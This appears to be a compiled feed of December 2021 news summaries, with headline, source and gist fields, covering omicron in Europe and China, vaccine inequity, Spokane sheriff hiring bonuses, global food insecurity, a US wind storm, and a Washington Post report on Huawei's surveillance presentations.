GIST	<p>BRUSSELS (AP) — The head of the European Union's executive branch said Wednesday that omicron is expected to be the dominant coronavirus variant in the 27-nation bloc by mid-January, amid concerns that a dramatic rise in infections will leave Europe shrouded in gloom during the holiday season.</p> <p>European Commission President Ursula von der Leyen said the EU is well prepared to fight omicron with 66.6% of the bloc's population fully vaccinated. Von der Leyen expressed disappointment that the pandemic will again disrupt year-end celebrations but said she was confident the EU has the "strength" and "means" to overcome COVID-19.</p> <p>"Like many of you, I'm sad that once again this Christmas will be overshadowed by the pandemic," she said.</p> <p>Continental Europe can look to Britain for a sense of what lies ahead as omicron spreads.</p> <p>The head of the U.K. Health Security Agency, Dr. Jenny Harries, said omicron is displaying a staggering growth rate compared to previous variants.</p> <p>"The difficulty is that the growth of this virus, it has a doubling time which is shortening, i.e. it's doubling faster, growing faster," Harries told a parliamentary committee on Wednesday. "In most regions in the U.K., it is now under two days. When it started, we were estimating about four or five."</p> <p>Harries said the variant poses "probably the most significant threat we've had since the start of the pandemic."</p> <p>Alarming rises in cases as winter approached and the delta variant remained at large prompted many European governments to implement public health measures as excess mortality increased during the fall.</p>

With omicron now on the scene, more countries are adopting restrictions. Italy, for example, this week required negative tests from vaccinated visitors, raising concerns that similar moves elsewhere will limit the ability of EU citizens to travel to see friends and relatives over the holidays.

Portugal adopted a similar measure on December 1, requiring a mandatory negative test for all passengers on arriving flights, regardless of their vaccination status, point of origin or nationality.

Von der Leyen said the EU faces a double challenge, with a massive increase of cases in recent weeks due to the delta variant combined with the rise of omicron.

“We’re seeing an increasing number of people falling ill, a greater burden on hospitals and unfortunately, an increase in the number of deaths,” she told European Parliament lawmakers.

Von der Leyen insisted that the increase in infections remains due “almost exclusively” to the delta variant.

“And what I’m concerned about is that we now (are) seeing the new variant omicron on the horizon, which is apparently even more infectious,” she said.

According to an analysis Tuesday of data from South Africa, where the new variant is driving a surge in infections, omicron seems to be more easily spread from person to person and better at evading vaccines, but also milder.

Von der Leyen said that fighting vaccine skepticism is key, especially in EU member nations with lower vaccination rates.

“Because the price that we will pay if people are not vaccinated continues to increase,” she said. “It’s also a problem for our elderly citizens, who once again this Christmas can’t see their grandchildren. And it’s also a problem for those children who once again can’t go to school. What kind of a life is that?”

Echoing von der Leyen’s comments, German Chancellor Olaf Scholz vowed Wednesday that his new government would do everything for Germany to overcome the coronavirus pandemic and let people return to their normal lives.

“We have no time to waste,” said Scholz, who took office as Germany grapples with its biggest wave of infections during the pandemic to date.

Scholz also said that the government won’t tolerate a “tiny minority” of extremists trying to impose their will against coronavirus policies.

As governments brace for the holiday season, Greece and a handful of other European Union countries began vaccinating children ages 5-11 on Wednesday against COVID-19. Italy, Spain and Hungary were also among those countries expanding the vaccination program to younger children.

The leaders of the EU member nations have a summit scheduled for Thursday in Brussels.

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HEADLINE	12/15 Omicron could trigger ‘Inequity 2.0’
SOURCE	https://apnews.com/article/coronavirus-pandemic-business-health-pandemics-7640f940192fc5e787d03fc402773691
GIST	CHAVANNES-DE-BOGIS, Switzerland (AP) — The head of vaccine alliance Gavi, which is leading a U.N.-backed push to get COVID-19 vaccines to developing countries, said that he’s seen early signs that rich countries are beginning to withhold donations out of fears about the omicron coronavirus variant — warning any new hoarding could lead to “Inequity 2.0.”

Gavi chief executive Dr. Seth Berkley took stock of the nearly two-year fight against the pandemic as the alliance released the latest update to its supply forecast for COVID-19 vaccines that it has repeatedly downgraded, largely because of export bans and vaccine hoarding by some producer countries that critics say it should have foreseen.

“With the omicron variant, what we’ve seen is panic in many countries that has led acceleration of boosters both to the numbers of people getting them, but also the timeline for getting them,” Berkley told The Associated Press in an interview late Tuesday at his home outside Geneva.

He was referring to extra doses given in rich countries to a broad swath of people — not just those at highest risk of contracting severe COVID-19.

The Geneva-based public-private partnership has been the lead manager of the U.N.-backed COVAX program that initially sought to get coronavirus vaccines to all countries but was pivoted after wealthier countries, and even some poorer ones, started striking their own deals to get jabs.

That locked down much of tight supplies and prompted vast inequality in access to jabs. Of the roughly 10 billion doses that have been delivered worldwide, the vast majority have gone to rich countries. COVAX has delivered just over 700 million.

“We also are beginning to see donors not wanting to donate their doses as fast as they might have because of the uncertainty now of where we are,” Berkley said, declining to specify. “Of course, our long-term concern is, if it turns out that new variant vaccines are required, that there may be an ‘Inequity 2.0’ where we see wealthy countries hoard those vaccines once again, like we saw at the beginning of the pandemic.”

While omicron’s transmissibility, severity and resistance to vaccines aren’t yet fully clear, the new variant could require revisions to existing vaccines or even production of new ones. Berkley says a COVID-19 vaccine from Novavax, which relies on a common technology in flu vaccines and has shown efficacy against variants, could be set to win emergency-use approval within “days” from the World Health Organization.

In recent weeks, global production of COVID-19 vaccines has taken off and supply is less of a problem than it once was. Now, a challenge is making sure countries can take in vaccines that sometimes require storage in very cold temperatures or are delivered in batches that need to be used at the same time once opened.

Wastage is a risk. Berkley said some is inevitable and insisted less than 1% of COVAX vaccines have gone to waste.

While he said it’s understandable, if potentially short-sighted, that politicians would want to serve their own people first with vaccines, one leading critic of Gavi’s handling of COVAX says a lot of the trouble can be pinned on wealthy-country governments who didn’t ensure steady sharing of vaccines. Now, an influx of vaccines in some developing countries could present problems.

“Since high-income country governments hoarded vaccine and didn’t allow ... distribution ... to be paced, now we’re at this end-of-year dump, basically, and lo and behold, surprise, surprise, fragile health systems -- some of them are having real difficulty accommodating it,” said Kate Elder, senior vaccines policy adviser at Médecins Sans Frontières, or Doctors Without Borders, which provides medical care around the world.

Gavi manages COVAX along with the Center for Epidemic Preparedness Innovations and U.N. health agency WHO, while UNICEF handles distribution of shots into arms.

Berkley said Gavi expects to have delivered between 800 million and 1 billion doses by the end of this year to the poorest developing countries, which he says was in line with targets. Where the alliance faced

slippage in deliveries was with wealthier “self-financing countries” that were originally expected to get jobs through COVAX but didn’t use it as foreseen – many opting for direct deals with manufacturers.

Gavi expects to have 1.4 billion doses available by the end of this year. It had originally set a goal to deliver 2 billion doses by the end of 2021.

Berkley said Gavi expects another 800 million doses in the first quarter of next year, but not all of those are confirmed. Questions remain about supplies from manufacturers, regulatory approvals, and dose donations that are “somewhat more unpredictable.” Places like the United States and the European Union have been key donors.

As it has been forced to adapt and revise its strategies, donations from countries like “Team Europe” have grown increasingly important to COVAX — which was never planned to be a donation mechanism.

“In fact, we didn’t even have donations in the original framework and way of working,” Berkley said. “That only occurred because of the vaccine hoarding that was occurring in wealthy countries and because of the fact that we had export bans.”

Critics say Gavi misjudged national self-interest and wrongly bet on trying to supply the whole world through a vast new program whose long-term impact is questionable. They say focus should have been on strengthening existing vaccine distribution systems, like one through WHO’s Americas regional body PAHO (Pan American Health Organization).

“Hindsight is 20/20 but there have been a tremendous number of shortcomings in the COVAX facility, probably many of them which could have been anticipated (by) understanding the environment and how countries with means were going to respond to this pandemic,” said MSF’s Elder.

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HEADLINE	12/15 Spokane sheriff's office \$15K signing bonus
SOURCE	https://www.spokesman.com/stories/2021/dec/15/sheriffs-office-to-continue-offering-15k-signing-b/
GIST	<p>The Spokane County Sheriff’s Office’s \$15,000 signing bonuses aren’t going away anytime soon.</p> <p>Following requests from the Sheriff’s Office and Spokane County Detention Services, the county commissioners voted Tuesday to amend the county’s bonus policy, allowing the departments to continue offering hiring bonuses of up to \$15,000 through 2022. The bonuses would have ended on Dec. 31 without the amendment.</p> <p>The Sheriff’s Office began offering \$15,000 signing bonuses this spring; Detention Services followed suit in August with \$10,000 bonuses. Not every new employee gets a bonus that big. The \$15,000 and \$10,000 are reserved for lateral hires – experienced officers who move to the county from other agencies.</p> <p>Both the Sheriff’s Office and Detention Services – which operates the county jail – say the bonuses are essential at a time when agencies throughout the country are having difficulty hiring.</p> <p>“It’s imperative we keep it,” Detention Services Lieutenant Don Hooper said of the bonus in a Dec. 7 county commissioner meeting. “It has helped our turnout numbers greatly.”</p> <p>Detention Services has about 320 allocated positions but has had times this year when more than 20 of those have been vacant. Hooper said since offering the \$10,000 signing bonus, Detention Services has hired eight corrections officers and seen its application numbers double.</p> <p>The staffing shortage has been more severe for the Sheriff’s Office.</p> <p>Low unemployment makes hiring harder, but law enforcement leaders and criminal justice reform advocates agree highly publicized police killings of Black people in recent years have reduced the number</p>

of young people interested in becoming police officers. Since the pool of new officers is small, some agencies are focusing their efforts on luring officers away from other police departments.

Agencies are in a bidding war for a limited supply of officers, and signing bonuses have become common. Some cities offer bigger bonuses than Spokane County; the Seattle Police Department now has a \$25,000 signing bonus.

Todd Mielke, the Sheriff's Office's chief administrative officer, said in the Dec. 7 meeting that the Sheriff's Office is recruiting as aggressively as any agency in the country.

This spring, the Sheriff's Office launched a billboard campaign. Sheriff Ozzie Knezovich said he strategically purchased billboard space in cities where local leaders had disparaged police: Denver, Portland, Austin and the Seattle area.

In November, the Sheriff's Office [spent \\$12,000 for two days of billboard space in New York City's Times Square](#). Some called the move financially irresponsible, but Knezovich defended it, arguing that the national media attention the billboards generated was worth thousands in free advertising.

Mielke said the ad campaign and bonuses have helped fill vacancies.

The county authorizes the Sheriff's Office to employ about 225 deputies, but earlier this year the agency was short by about 40. Mielke said at one point the Sheriff's Office's vacancy rate was almost 20%.

In 2021, the Sheriff's Office has hired 25 officers. Mielke said that the Sheriff's Office could hire as many as five more deputies before the end of the year, and added that the agency will need to hire another 20 in 2022 to offset impending retirements.

On top of giving the county commissioners a staffing update, Mielke also shared some information on the number of applications the Sheriff's Office received in 2021.

Mielke said nearly 700 applied to be Spokane County sheriff's deputies. Many of the applications – and several of the new hires – came from California. Eight New Yorkers applied after the Times Square ads ran last month.

A significant number of applications came from officers working at agencies that have imposed COVID-19 vaccine mandates, Mielke said.

He noted that the Sheriff's Office received 22 applications from Washington State Patrol, King County Sheriff's Office and Seattle Police Department officers.

The Spokane County Sheriff's Office [has emphasized in its recruiting campaign that it does not have a vaccination requirement](#). The Sheriff's Office says it is not specifically targeting unvaccinated officers. Mielke said that maintaining the signing bonus and hiring more officers is in the county's best interest. "As we fill vacancies we make this community safer," he said.

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HEADLINE	12/14 China: zero-Covid policy remains effective
SOURCE	https://www.washingtonpost.com/world/2021/12/14/china-first-omicron-cases/
GIST	<p>China has detected its first cases of the omicron coronavirus variant in two patients who had recently returned to the country from abroad, state media reported this week.</p> <p>One of the two patients was identified in Tianjin, a major port city near Beijing, while staying at a quarantine facility, local authorities told the Tianjin Daily newspaper. A local health official said Tuesday that the patient, who has been transferred to a designated hospital for coronavirus treatment, does not have a cough or a fever.</p>

	<p>China is one of the last countries maintaining a zero-tolerance covid policy, with Beijing requiring all inbound travelers to quarantine for two to three weeks and to undergo repeated testing.</p> <p>Authorities from the southern city of Guangzhou reported one case of the omicron variant Tuesday. The patient was a 67-year-old man who tested positive while under home quarantine; he had completed two weeks of quarantine in dedicated facilities in Shanghai and was allowed to fly to Guangzhou on Saturday.</p> <p>Wu Hao, a public health expert who advises the central government on coronavirus policies, insisted that China is “very safe,” given that the two cases had minimal contact with the general population.</p> <p>“The omicron variant fundamentally is still a coronavirus, and the pattern with which it spreads is similar to past coronaviruses,” Wu said in an interview with Beijing Daily. “So the conventional methods of protection are still effective.”</p> <p>Since early 2020, China has shuttered its doors to most foreigners while strictly managing the movement of citizens returning home. Most reported cases since the virus was first detected in Wuhan have been traced to overseas returnees, the government claims.</p> <p>China is battling a spate of cases in Zhejiang province, where about 200 infections have been detected since last week. To clamp down on the spread, regional travel restrictions will be in place until March, according to provincial officials.</p>
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HEADLINE	12/15 Global food crisis approaching?
SOURCE	https://www.washingtonpost.com/world/2021/12/15/global-food-crisis-pandemic/
GIST	<p>Global food prices are <u>soaring</u>. Fertilizer costs are <u>sky-high</u>. In Afghanistan, nearly 23 million people — more than half the population — are <u>expected to face</u> potentially life-threatening food insecurity this winter. Madagascar <u>is confronting</u> its worst drought in 40 years, with more than a million people there in need in urgent food aid.</p> <p>Is a new global food crisis coming?</p> <p>In an interview this week, Maximo Torero Cullen — chief economist at the United Nations’ Food and Agriculture Organization — told me the answer is: Not yet, but we could be on the brink. The world is witnessing an increase in localized and conflict-driven food crises, particularly in sub-Saharan Africa. But across the globe, the food price surges of recent months are still not as bad as the two critical spikes sparked by weather, biofuel production and surging Asian demand in 2007-2008 and 2011-2012.</p> <p>That doesn’t mean we won’t get there. Because of the pandemic, <u>global hunger shot up by an estimated 118 million people worldwide in 2020</u>, jumping to 768 million people, the most since as far back as 2006. The number of people living with food insecurity — or those forced to compromise on food quantity or quality — surged by 318 million, to 2.38 billion.</p> <p>As vaccination rollouts lag in the developing world, Cullen told Today’s WorldView that he fears the slower economic recoveries in low- and medium-income nations could worsen the food insecurity picture further in 2022.</p> <p><i>This interview has been edited for length and clarity.</i></p> <p>How did the pandemic change the nature of global food insecurity, and how is the problem evolving?</p> <p>The major drivers before covid-19 were conflict, and climate and economic downturns. Lockdowns and covid-19 have exacerbated those problems.</p>

But what is new are two things: One is the significant recovery plans and inflation we are seeing as the U.S., China and other countries create excess demand, which has affected, of course, prices because of their demand for commodities. The competition for containers has exacerbated the situation, making transportation costs higher.

The other element is fertilizer prices and scarcities. Countries like Bolivia that used to export to Peru, for instance, are exporting much, much less. An incredible shrinkage. Russia has put some export limits on fertilizers. China produces one-quarter of the fertilizers in the world, but now they are also importing. So the pressure on that sector is a different than we've faced before.

When is the last time that we saw the threat of famine or world hunger on a scale that we're seeing today?

This is worse than 2007-2008 for sure, in terms of what we call levels of acute food insecurity driven by conflict. But globally, the overall situation is still better than in those years — in the sense that we still have food availability but the problem today is of food access. But it is entering a situation that I call an orange light, and potentially a red light if we're not careful. ... We don't have a food crisis today. We have a problem of recession and food access. But we have food available. This could change next year if the issue of fertilizers is not resolved.

Where do you see the biggest threats of famine or food insecurity?

It's sub-Saharan Africa. That is where the situation is getting out of control in many countries, including the Democratic Republic of Congo, Nigeria, South Sudan, Sudan and Central African Republic. Then you have Yemen. And of course you have Afghanistan. If we don't rush aid into Afghanistan, we will lose the harvest, and the situation there will be dramatic. And you also have Haiti. And then of course, you have Venezuela, which could also be significantly affected.

In [Afghanistan](#), the West appears to be facing a moral dilemma. The United States and Europe don't want to be seen as backing a harsh Taliban regime, yet U.S. and European sanctions and frozen funds are putting more and more Afghans at risk of hunger and famine. Do you see a way out?

We are a technical agency. We are working in Afghanistan, trying to supply seeds and fertilizers under the humanitarian emergency operation that we have in place together with the World Food Program (WFP). We need to assure that there is a supply of needed inputs for the production next season. If not, the problem will be even worse.

The World Bank said over the weekend that international donors have agreed to transfer 280 million from a frozen trust to WFP and UNICEF to support nutrition and health in Afghanistan. How much will that help to forestall the threat of famine?

It will depend on how the money will be used. It is our expectations that the money is not only going to be used for emergency meals, but it's also going to be used for inputs like fertilizers and seeds. Look, the situation is not good at all. More than half the country's population is at high risk of moving into a humanitarian emergency. At the same time, La Niña will continue to cause extreme weather patterns across different regions of Afghanistan. But the major problem right now is the lack of access to inputs and to food.

How do you fix that?

By assuring the next season so that farmers can do their planting so that the next harvest is assured.

How will they be able to access what they need?

At this point, it has to come from aid, from agencies like the Food and Agriculture Organization that are trying to help in the most critical zones.

It's been said that Madagascar may be on the brink of the world's first climate change induced famine. However, [a recent international study](#) suggested it may be due to natural weather variation and structural poverty more than climate change. How do you see it?

We need to be careful because it could not just be climate, but a convolution of several drivers that come together. You have the longest drought in Madagascar combined with covid-19 problems and an economic recession. As a result, the country is facing the worst storm possible.

Countries that for years haven't been high on the priority list for monitoring world hunger, like your native [Peru](#), became trouble spots during the pandemic. How lasting will the damage be in those countries?

We believe that the recovery in these countries, like my home country Peru and many Latin American countries, is not happening at the velocity that we were expecting. And the recovery is slowed down because of the delay of vaccinations in many of these countries. As a result, the effects of the covid-19 pandemic on hunger, in a context where prolonged lockdowns have severely affected the informal economy, could last for a couple of years or more if the recovery doesn't accelerate. They will recover and they are recovering. But they still are far from where they could be, and exacerbation of inequalities will be reflected in significant increases in poverty, extreme poverty and hunger.

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HEADLINE	12/14 NWS: 'large-scale high wind event'
SOURCE	https://www.washingtonpost.com/weather/2021/12/14/wind-storm-record-warmth-plains/
GIST	<p>For a second week in a row, large parts of the central United States are staring down record high temperatures, followed by a blast of extremely turbulent weather. This time, rather than a tornado outbreak, a widespread zone will see roaring winds up to 80 mph.</p> <p>The "large-scale high wind event," according to the National Weather Service, "may cause damage from the central Rockies into the Plains and Mississippi Valley on Wednesday."</p> <p>While the strong winds may be short-lived, the zone from New Mexico to the Great Lakes could see pockets of damage and scattered to widespread power outages. Both Denver and Des Moines are among cities where winds may gust over 60 mph Wednesday. In the Southern and Central Plains, dry, windy conditions present a top-tier fire threat.</p> <p>While an outbreak of twisters is not expected, severe thunderstorms with damaging winds and isolated tornado activity cannot be ruled out in parts of the Midwest on Wednesday, particularly in Iowa and southern Minnesota.</p> <p>Ahead of the storminess, some areas will see temperatures swell 30 to as much as 40 degrees above normal. But the cold front ushering in the powerful winds means the exceptional warmth will be relatively short-lived.</p> <p>Scores of record high temperatures ahead of the wind storm</p> <p>Unusually mild weather is already surging into the Southern Plains, where a number of record highs may fall Tuesday; this is the calm before the storm.</p> <p>The warmth will peak in the central United States on Wednesday, from Texas to Wisconsin, when dozens of record highs are threatened. Record-high temperatures near 80 are forecast for Denver, with the mid-70s around Oklahoma City and 60s to near 70 into the Upper Midwest. Chicago is forecast to hit 65, topping its previous record of 64, while Des Moines could reach 70, obliterating its previous record of 59.</p> <p>High temperatures of 20 degrees or more above normal are set to cover much of Nebraska, Oklahoma, Kansas, Iowa, Missouri, Illinois, Wisconsin and portions of surrounding areas. In Iowa, at the core of the warmth, temperatures may be 35 or even 40 degrees above normal.</p> <p>On Thursday, the warmth is pushed east along the advancing cold front. Records are likely to fall in parts of the Mid-Atlantic and Northeast, with highs into the 60s, as well as portions of the Gulf Coast region, with highs in the 70s and 80s.</p>

This is the third record-setting pulse of warmth this December in the Lower 48 states. Through the second week of the month — using a more expansive list of observation sites — [preliminary numbers indicate](#) at least 3,069 record highs have occurred, compared with just 14 record lows. Human-induced climate change is increasing the likelihood of such warm weather.

The wind storm and fire threat

As the storm system, which is bringing [tremendous amounts of snow and rain](#) to the West, ejects from the Rockies into the Plains on Wednesday, it will drag a cold front along with it, clashing with the record-setting warmth. This will incite a wind storm.

Alex Lamers, a forecaster at the National Weather Service, [tweeted](#) that computer model forecasts are “absolutely screaming rare high wind event” into Thursday. High wind warnings stretch from Southern California to Wisconsin, with the strongest winds expected Wednesday from eastern Colorado to Iowa.

These wind warnings could certainly be extended northeast Wednesday night, as well. Gusts of 50 to 60 mph may continue into the Great Lakes and, ultimately, Canada.

High winds combined with extremely dry conditions will create a top-tier fire threat in the Southern and Central Plains, with the Weather Service anticipating “a volatile fire weather day” Wednesday.

The Weather Service has declared “extremely critical” fire weather in the Texas and Oklahoma panhandles and over large portions of western Kansas. Sustained winds may approach 45 mph in these areas, with gusts near and past 70 mph possible.

The Weather Service office in Amarillo, Tex., [wrote that](#) “wind gusts may approach historic levels for the month of December,” even noting the possibility of 80 mph gusts.

To the west, in the [mountains of Colorado](#), wind gusts of 100 mph or higher are possible; Boulder [could see gusts over 75 mph](#), with [some models showing 100 mph gusts](#) possible.

In addition to the fire and wind damage risk from high winds, areas of blowing dust may reduce visibilities to near zero, creating hazardous driving conditions.

In the Southern and Central Plains, the windiest conditions are expected late Wednesday morning and afternoon, with gusty conditions shifting northeast after that time.

Although the storm system triggering this wind storm is quite powerful, its fast movement and inability to tap into much moisture from the Gulf Mexico may limit its ability to trigger widespread severe thunderstorms and tornadoes. However, the Weather Service’s Storm Prediction Center predicts some risk of severe storms from southern Minnesota, through Iowa and into western Missouri, northeast Oklahoma and northwest Arkansas.

“Damaging wind gusts and a couple of tornadoes will be possible,” the Storm Prediction Center wrote.

A volatile weather pattern keeps repeating but could soon break down

The pattern over the country this week is not too unlike the last, when temperatures rose to record levels in the eastern half of the Lower 48 before a storm blasted across the country. This kind of pattern is often a hallmark of [La Niña winters](#).

There are, however, some hints that the pattern will break down some later this month, perhaps drawing more widespread chilly air into the Lower 48 states. The recurrent heat dome over the Southeast, responsible for the pulses of warmth, should get squashed south for a time, opening the door for some chillier episodes over the northern tier and Northeast.

Although colder air may eventually pour into the Lower 48 states, the very volatile pattern seen in recent weeks could return at times this winter, as is typical during La Niña.

HEADLINE	12/14 Huawei broader role in China surveillance
SOURCE	https://www.washingtonpost.com/world/2021/12/14/huawei-surveillance-china/?utm_source=feedly&utm_medium=referral&utm_campaign=wp_homepage
GIST	<p>The Chinese tech giant Huawei Technologies has long brushed off questions about its role in China's state surveillance, saying it just sells general-purpose networking gear.</p> <p>A review by The Washington Post of more than 100 Huawei PowerPoint presentations, many marked "confidential," suggests that the company has had a broader role in tracking China's populace than it has acknowledged.</p> <p>These marketing presentations, posted to a public-facing Huawei website before the company removed them late last year, show Huawei pitching how its technologies can help government authorities identify individuals by voice, monitor political individuals of interest, manage ideological reeducation and labor schedules for prisoners, and help retailers track shoppers using facial recognition.</p> <p>"Huawei has no knowledge of the projects mentioned in the Washington Post report," the company said in a statement, after The Post shared some of the slides with Huawei representatives to seek comment. "Like all other major service providers, Huawei provides cloud platform services that comply with common industry standards."</p> <p>The divergence between Huawei's public disavowals that it doesn't know how its technology is used by customers, and the detailed accounts of surveillance operations on slides carrying the company's watermark, taps into long-standing concerns about lack of transparency at the world's largest vendor of telecommunications gear.</p> <p>Huawei has long been dogged by criticism that it is opaque and closer to the Chinese government than it claims. A number of Western governments have blocked Huawei gear from their new 5G telecom networks out of concern that the company may assist Beijing with intelligence-gathering, which Huawei denies.</p> <p>The new details on Huawei's surveillance products come amid growing concerns in China, and around the world, about the consequences of pervasive facial recognition and other biometric tracking. Even as the Chinese Communist Party continues to rely on such tools to root out dissent and maintain its one-party rule, it has warned against the technologies' misuse in the private sector.</p> <p>This autumn, under Beijing's pressure, Huawei and other tech giants pledged they would not abuse facial recognition and other surveillance tools, as a new law protecting personal data came into effect.</p> <p>Facebook said in November that it would shut down its facial recognition system and delete facial templates of more than a billion people, citing growing concerns about the technology. Last year, Microsoft, IBM and Amazon announced they would not sell facial recognition software to police until there was federal regulation, and Zoom removed an employee attention-tracking function.</p> <p>Huawei said in its statement that it did not develop or sell systems that target any specific group of people and that it required all parts of the business, as well as partners, to comply with applicable laws and business ethics.</p> <p>"Privacy protection is our top priority," the company said.</p> <p>The Post reviewed more than 3,000 PowerPoint slides from the presentations outlining surveillance projects co-developed by Huawei with partner vendors. Five of the most relevant slides are translated into English below, with original formatting retained. Each outlines a surveillance solution created in a partnership between Huawei and another company, with both companies' technology.</p>

The Post could not confirm whom the Chinese-language presentations were shown to, or when. Some of the slides showcase surveillance functions specific to police or government agencies, suggesting that Chinese government authorities may have been the intended audience. Many of the PowerPoints have a creation timestamp of Sept. 23, 2014, with the latest modifications to the files made in 2019 or 2020, according to the presentations' metadata.

Each of the five presentations has a final slide stating a "Huawei Technologies Co., Ltd." copyright, with dates ranging from 2016 to 2018.

The Chinese Embassy in Washington said criticism of Huawei was groundless. "Huawei has long publicly expressed its readiness to sign a 'no back door' agreement and to set up a cyber security assessment center in any country to receive external scrutiny," it said. "So far, no other company has ever made the same commitment."

China's Ministry of Public Security, the Ministry of Industry and Information Technology, and the State Council Information Office did not respond to requests for comment.

Some of these surveillance products were listed in a Huawei online catalogue as of this month. Others have been removed from it but still showed up in government procurement documents or patent filings this year under the brand names of Huawei's partner companies.

The Huawei slides shed light on the company's role in five surveillance activities in China: voice recording analysis, detention center monitoring, location tracking of political individuals of interest, police surveillance in the Xinjiang region, and corporate tracking of employees and customers.

1. Voice recording analysis

[See full PDF and original document here](#)

This marketing presentation shows Huawei pitching its technology to assist authorities in analyzing voice recordings for national security purposes. (The term "national security" is broad in China, encompassing political dissent, religious gatherings, Hong Kong and Taiwan policy, ethnic relations and economic stability.)

This presentation, dated 2018, introduces the "iFlytek Voiceprint Management Platform," co-developed by Huawei and iFlytek, a Chinese artificial-intelligence company. The system can identify individuals by comparing the sound of their voice against a large database of recorded "voiceprints."

The slide above shows a first step to "extract or obtain the voice audio of the target," without details of how that is accomplished. Another slide lists audio from "phone recordings" and "smartphone apps" as inputs. It's unclear from the presentation if Huawei and iFlytek are involved in obtaining the voice audio or if the customer obtains it. iFlytek didn't respond to questions.

iFlytek [was one of 28 entities sanctioned](#) by the Commerce Department in October 2019 for human rights violations against Uyghurs, a Muslim ethnic minority in China, following reports by some Uyghurs that they were forced to make recordings of themselves speaking.

2. Prison and detention center monitoring

[See full PDF and original document here](#)

This marketing presentation appears to show that Huawei helped design some technical underpinnings for China's controversial reeducation and labor programs for detainees.

These programs raised international alarm starting in 2017, because of a sweeping drive against Uyghurs. Former detainees have alleged they were held without charges, tortured and required to work in factories

as a condition of release. Similar practices have long been in place in China as part of punishment for political prisoners, but few details have emerged of how multinational companies are involved.

This product, named the “Huawei and Hewei Smart Prison Unified Platform,” is a comprehensive prison surveillance system co-developed with another Chinese company, Shanghai Hewei Technology. In addition to physical security aspects such as video cameras and smart gates, the product includes software for managing the schedules of detainees, including their attendance of ideological reeducation classes and prison labor shifts, according to screenshots in the presentation.

The slide above shows a long list of functions that can be covered by the prison monitoring software, including “reeducation,” “manufacturing labor” and “analysis and evaluation of reeducation efficacy.”

Screenshots of the software showed detainees scheduled for cultural, technical and “ideological education.” The software also could track production plans, revenue from prison labor and evaluations of the effects of labor reeducation, according to screenshots in the presentation. It was not clear if the schedules in the screenshots were sampled from real prisons in China or if they were mock-ups.

The presentation said this technology has been implemented in prisons in Inner Mongolia and Shanxi province, according to slides listing “success cases,” as well as in “jiedusuo,” or detention centers specifically for drug offenders, in the Xinjiang region.

Hawei declined to comment.

3. Location tracking

[See full PDF and original document here](#)

This surveillance system was touted as being able to help authorities track “political persons of interest” and other targets, including criminal suspects, by pinpointing the location of their electronic devices, tracking them with facial recognition surveillance cameras and other measures.

The marketing PowerPoint presentation titled “Huawei and PCI-Suntek Technology Video Cloud Big Data Joint Solution” also says that it can help identify new suspects by analyzing a range of surveillance data.

While these kinds of tracking systems are used by police around the world, there has been growing apprehension in the United States that the flaws of these technologies — such as higher incidence of mistaken identity among ethnic minorities — could result in wrongful prosecutions, especially with limited regulation.

The slide mentions “WiFi” and “MAC,” which surveillance experts say is probably a reference to tracking a smartphone’s location via a unique identifier called a MAC address. The addresses can be intercepted over WiFi by [specialized devices](#) used by police. A woman who answered the investor relations line at PCI-Suntek said the company would not comment on media reports.

The presentation says the system is in use by the public security department of Guangdong, China’s most populous province.

4. Xinjiang surveillance

[See full PDF and original document here](#)

The slides also detail how Huawei equipment was used in China’s far west Xinjiang region.

The Xinjiang government’s sweeping campaign against Uyghurs has drawn international denunciation, and Huawei has faced questions for years about whether its equipment was used in the crackdown. A Huawei executive [resigned](#) in response to a Washington Post report in 2020 about a “Uyghur alarm” the

company tested that could send an alert to police when it identified a member of the ethnic minority native to the region.

Huawei executives have mostly deflected questions about how its products are used in Xinjiang, saying it did not supply the region directly. “That is not actually one of our projects,” Huawei’s global cybersecurity chief, John Suffolk, said, when asked by a British parliamentary committee in 2019 about Xinjiang surveillance systems using Huawei equipment. “It is done via a third party.”

“We sell technology all around the world, but we don’t operate it. We don’t know how our customers choose to operate it,” Alykhan Velshi, Huawei Canada’s vice president of corporate affairs, [said last year](#), when asked by Canadian Broadcasting Corp. Radio about its surveillance technology sales in Xinjiang.

He added: “Certainly what’s happening in Xinjiang causes me a great deal of concern, as it should cause everyone who is concerned about human rights abroad, but Huawei selling to customers who may sell to customers who may do something? That, to me, is a different issue entirely.”

But Xinjiang surveillance projects are highlighted in several of the presentations, with the Huawei logo on each slide, though the slides do not mention the Uyghur ethnic minority. In one titled “One Person One File Solution High-Level Report,” the company’s technology is touted as having helped public security in Urumqi, capital of the Xinjiang region, capture a number of criminal suspects.

The presentation said the system had been in use in Urumqi since 2017, a time frame coinciding with the mass detentions of Uyghurs in Xinjiang.

This “One Person One File” facial recognition solution was co-developed by Huawei and DeepGlint, or Beijing Geling Shentong Information Technology, a start-up [sanctioned](#) by the Commerce Department in July for alleged human rights abuses in Xinjiang. DeepGlint declined to comment.

Other presentations said Huawei equipment was in use in surveillance camera systems in other Xinjiang cities, highways and detention centers.

5. Corporate monitoring

[See full PDF and original document here](#)

Not all of Huawei’s surveillance products were made for government use. Some were also designed for corporate settings, including to catch employees slacking off or identify customers in retail stores.

This “Smart Service Center Joint Solution” co-developed by Huawei and Nanjing-based 4D Vector could map employees’ movements and send an alert if they appear to be sleeping, absent from their desks or playing on their phones. The camera could also be trained onto customers, analyzing their demographic based on facial scans and counting how many times a person returns to the store. 4D Vector didn’t respond to requests for comment.

“It identifies customers’ portraits as they walk by, such as gender, clothing, occupation, etc., and accurately delivers specific product introductions to different customers,” the presentation said.

Albert Fox Cahn, founder of the Surveillance Technology Oversight Project, a New York-based privacy advocacy group, said the features of Huawei’s workplace biometric tracking go beyond what he is aware of in the United States, though “this is something that organizers and labor movements are quite concerned about, in the future.”

Last year, Microsoft and Zoom removed functions from their software that tracked employee attentiveness and productivity, after public backlash. Amazon has [come under fire](#) for using AI-enabled cameras, wristbands and other devices to surveil its employees. (Amazon founder Jeff Bezos owns The Washington Post.)

	<p>In China, too, such corporate surveillance is becoming controversial. On World Consumer Rights Day in March, Chinese state media denounced several foreign companies, including BMW and U.S. bathroom fixture brand Kohler, for tracking customers with facial recognition systems similar to the Huawei-4D Vector one.</p> <p>In October, Huawei and other major Chinese tech companies made public pledges that they would not abuse facial recognition and other surveillance technologies.</p>
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HEADLINE	12/14 Omicron is dress rehearsal next pandemic
SOURCE	https://www.nytimes.com/2021/12/14/health/coronavirus-omicron-next-pandemic.html
